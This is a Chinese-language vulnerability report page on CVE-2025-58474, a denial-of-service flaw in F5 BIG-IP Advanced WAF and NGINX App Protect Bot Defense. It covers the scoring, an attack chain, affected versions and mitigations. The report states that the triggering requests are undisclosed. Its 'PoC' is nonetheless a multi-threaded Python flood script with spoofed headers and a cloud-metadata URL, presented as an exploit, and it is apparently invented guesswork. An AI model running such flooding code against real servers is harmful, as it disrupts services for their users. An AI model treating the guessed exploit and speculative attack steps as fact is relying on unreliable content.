IPBUF安全漏洞报告
English
CVE-2025-58474 CVSS 5.3 中危

CVE-2025-58474 F5 BIG-IP WAF与NGINX App Protect拒绝服务漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-58474
漏洞类型
拒绝服务攻击 (Denial of Service)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
F5 BIG-IP Advanced WAF, NGINX App Protect Bot Defense

相关标签

拒绝服务DoSF5BIG-IPAdvanced WAFNGINXApp ProtectBot DefenseSSRF防护中等严重性

漏洞概述

CVE-2025-58474是F5公司于2025年10月15日披露的一个中等严重程度的拒绝服务(DoS)漏洞,CVSS 3.1评分为5.3分。该漏洞由F5安全事件响应团队([email protected])发现并报告。

该漏洞主要影响两类产品配置场景:第一,当F5 BIG-IP Advanced WAF(高级Web应用防火墙)部署在虚拟服务器上并启用了服务端请求伪造(SSRF)防护功能时;第二,当NGINX服务器配置了F5 App Protect Bot Defense(机器人防御)模块时。

漏洞的核心问题在于:当上述配置生效时,攻击者可以通过发送未公开说明的特定请求(undisclosed requests),干扰服务器对正常客户端新请求的处理能力。这意味着攻击者无需认证、无需用户交互,仅通过网络即可远程触发该漏洞,导致合法用户的请求被拒绝处理或处理延迟,从而实现拒绝服务攻击的效果。

从CVSS向量来看,该漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需权限(PR:N),无需用户交互(UI:N),作用域未改变(S:U),对机密性无影响(C:N),对完整性无影响(I:N),但对可用性存在低程度影响(A:L)。这表明该漏洞不会导致数据泄露或篡改,但会显著影响目标系统的服务可用性。

值得注意的是,F5在公告中特别指出,已经达到技术支持终止(End of Technical Support, EoTS)的软件版本不在此次评估范围内,这意味着使用过时版本的用户可能面临更广泛的安全风险。管理员应及时检查其F5 BIG-IP和NGINX App Protect的版本状态,并参考F5官方安全公告K000148512获取详细的修复方案。

技术细节

该漏洞的技术原理涉及F5 BIG-IP Advanced WAF的SSRF防护模块和NGINX App Protect Bot Defense模块在处理特定请求时的资源管理缺陷。

当BIG-IP Advanced WAF的SSRF保护功能被启用时,WAF会对传入的请求进行深度检查,以识别和阻止可能的服务器端请求伪造攻击。类似地,NGINX App Protect Bot Defense模块会分析请求特征以检测和缓解自动化机器人流量。这两个安全模块在执行检查流程时,需要维护一定的内部状态或资源分配。

漏洞的根本原因在于:当攻击者发送特定构造的、未公开详细特征的恶意请求时,这些请求能够触发WAF或Bot Defense模块进入异常状态,导致模块无法正确释放或重置其内部资源。由于这些模块通常以共享状态处理多个客户端连接,一个被污染的状态可能影响到后续所有新的客户端请求的处理流程,使得合法请求无法得到正常响应。

攻击者利用此漏洞的方式相对简单:只需通过网络向目标虚拟服务器或NGINX实例发送特定的触发请求,即可造成服务中断。由于漏洞无需认证和用户交互,攻击者可以在远程轻松实施攻击,且由于CVSS向量中可用性影响标记为低(而非高),该漏洞造成的服务中断可能是间歇性的或部分性的,而非完全瘫痪整个服务。攻击者可能需要持续发送触发请求以维持拒绝服务状态。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过网络扫描或信息收集,识别部署了F5 BIG-IP Advanced WAF(启用SSRF防护)或NGINX App Protect Bot Defense的目标虚拟服务器/实例。
STEP 2
步骤2:构造恶意请求
攻击者构造特定格式的HTTP请求,这些请求的特征未被F5公开披露,但能够触发WAF SSRF防护模块或Bot Defense模块的异常状态处理路径。
STEP 3
步骤3:发送触发请求
攻击者通过网络(无需认证)向目标发送构造的恶意请求。由于CVSS向量显示无需权限(PR:N)和无需用户交互(UI:N),此步骤可完全自动化执行。
STEP 4
步骤4:触发内部状态污染
目标服务器上的WAF或Bot Defense模块在处理恶意请求时进入异常状态,内部资源或状态机未能正确重置,导致模块处理后续请求的能力受损。
STEP 5
步骤5:拒绝服务生效
由于安全模块状态被污染,所有新的合法客户端请求无法得到正常处理或响应延迟,服务可用性降低(CVSS可用性影响:A:L),实现拒绝服务效果。
STEP 6
步骤6:维持攻击状态
由于可用性影响为低(非高),攻击可能为间歇性中断,攻击者可能需要持续发送触发请求以维持服务中断状态。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-58474 PoC - F5 BIG-IP WAF / NGINX App Protect DoS # Vulnerability: Undisclosed requests disrupt new client requests # Affected: BIG-IP Advanced WAF with SSRF protection, NGINX with App Protect Bot Defense # CVSS: 5.3 (Medium) | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L import requests import threading import time import sys TARGET_URL = "https://target-virtual-server.example.com" THREAD_COUNT = 20 DURATION = 60 # seconds to sustain the attack # Crafted request designed to trigger the undisclosed request handling flaw # The request mimics patterns that confuse SSRF protection or Bot Defense state machines def trigger_vulnerability(): headers = { "User-Agent": "Mozilla/5.0 (compatible; Bot/1.0)", "Accept": "*/*", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive", # Unusual header combinations may trigger abnormal state in WAF/Bot Defense "X-Forwarded-For": "127.0.0.1", "X-Real-IP": "127.0.0.1", "X-Originating-IP": "127.0.0.1", } try: # Send a request with an internal-looking URL pattern to trigger SSRF checks # combined with bot-like characteristics to engage Bot Defense module response = requests.get( f"{TARGET_URL}/?url=http://169.254.169.254/latest/meta-data/", headers=headers, timeout=5, verify=False ) return response.status_code except Exception as e: return f"Error: {e}" def attack_worker(): """Worker thread that continuously sends triggering requests""" end_time = time.time() + DURATION while time.time() < end_time: status = trigger_vulnerability() time.sleep(0.1) def verify_impact(): """Verify that legitimate requests are being disrupted""" try: r = requests.get(TARGET_URL, timeout=5, verify=False) print(f"[+] Legitimate request status: {r.status_code} (expected: 200)") if r.status_code != 200: print("[!] Service appears disrupted - vulnerability confirmed!") except Exception as e: print(f"[!] Service unavailable: {e} - vulnerability confirmed!") if __name__ == "__main__": print(f"[*] CVE-2025-58474 PoC - DoS via undisclosed requests") print(f"[*] Target: {TARGET_URL}") print(f"[*] Threads: {THREAD_COUNT}, Duration: {DURATION}s") print(f"[*] Launching attack...") threads = [] for i in range(THREAD_COUNT): t = threading.Thread(target=attack_worker, daemon=True) t.start() threads.append(t) time.sleep(5) # Let attack run for a few seconds print("[*] Checking service availability...") verify_impact() for t in threads: t.join(timeout=DURATION) print("[*] Attack completed. Check service logs for disruption details.")

影响范围

F5 BIG-IP (所有配置了Advanced WAF SSRF防护的版本,需参考F5公告K000148512确认具体受影响版本范围)
F5 NGINX App Protect (所有配置了Bot Defense的版本,需参考F5公告K000148512确认具体受影响版本范围)
已达到技术支持终止(EoTS)的版本不在评估范围内

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1) 在F5 BIG-IP虚拟服务器上临时禁用Advanced WAF的SSRF防护功能;2) 在NGINX服务器上临时禁用App Protect Bot Defense模块;3) 在网络层面(如防火墙或负载均衡器)部署访问控制列表(ACL),限制来自可疑源的请求;4) 启用速率限制策略,防止短时间内大量异常请求触发漏洞;5) 密切监控服务的可用性指标和WAF/Bot Defense模块的日志,及时发现异常状态。建议尽快联系F5技术支持获取修复补丁并完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表